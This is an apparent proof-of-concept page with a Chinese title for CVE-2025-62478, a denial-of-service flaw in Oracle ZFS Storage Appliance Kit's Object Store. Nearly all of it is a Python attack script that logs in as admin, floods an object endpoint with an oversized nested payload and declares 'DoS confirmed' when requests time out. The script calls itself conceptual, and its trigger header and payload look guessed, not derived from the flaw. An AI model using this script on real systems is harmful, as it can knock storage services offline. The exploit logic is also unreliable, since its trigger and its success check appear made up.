CVE-2025-62478 Oracle ZFS存储设备套件对象存储拒绝服务漏洞

# CVE-2025-62478 - Oracle ZFS Storage Appliance Kit Object Store DoS PoC # This is a conceptual PoC for a Denial of Service vulnerability # in Oracle ZFS Storage Appliance Kit 8.8 Object Store component # Requires high-privilege authentication credentials import requests import sys import time # Target configuration TARGET_HOST = "https://target-zfs-appliance:215" AUTH_USER = "admin" # High-privilege account required AUTH_PASS = "password" # Valid credentials needed # Object Store API endpoint OBJECT_STORE_ENDPOINT = f"{TARGET_HOST}/api/object/v1" def trigger_dos(): """ Send crafted HTTP requests to trigger the DoS vulnerability in the Object Store component. """ session = requests.Session() # Step 1: Authenticate with high-privilege credentials auth_url = f"{TARGET_HOST}/api/auth/v1/login" auth_payload = { "username": AUTH_USER, "password": AUTH_PASS } try: auth_response = session.post(auth_url, json=auth_payload, verify=False) if auth_response.status_code != 200: print("[-] Authentication failed. High-privilege credentials required.") sys.exit(1) print("[+] Authentication successful.") except Exception as e: print(f"[-] Connection error: {e}") sys.exit(1) # Step 2: Send crafted request to Object Store to trigger DoS # The vulnerability is triggered by specific malformed object store requests headers = { "Content-Type": "application/json", "X-Object-Operation": "malicious-trigger" } # Crafted payload designed to cause resource exhaustion / crash payload = { "operation": "put", "bucket": "exploit-bucket", "object": "A" * 65536, "metadata": { "trigger": "dos-condition", "nested": [{"deep": "A" * 4096} for _ in range(1000)] } } print("[*] Sending crafted request to Object Store endpoint...") try: # Send the malicious request response = session.post( f"{OBJECT_STORE_ENDPOINT}/objects", json=payload, headers=headers, timeout=30 ) print(f"[*] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Target appears unresponsive - DoS may have been triggered!") except requests.exceptions.ConnectionError: print("[+] Connection refused - Target service has crashed!") except Exception as e: print(f"[*] Response: {e}") # Step 3: Verify the service is down time.sleep(5) try: check = session.get(f"{TARGET_HOST}/api/health/v1/status", timeout=10) print(f"[*] Service still responding: {check.status_code}") except Exception: print("[+] Service is DOWN - DoS confirmed!") if __name__ == "__main__": print("=" * 60) print("CVE-2025-62478 - Oracle ZFS Storage Appliance Kit DoS PoC") print("Component: Object Store | Version: 8.8") print("=" * 60) trigger_dos()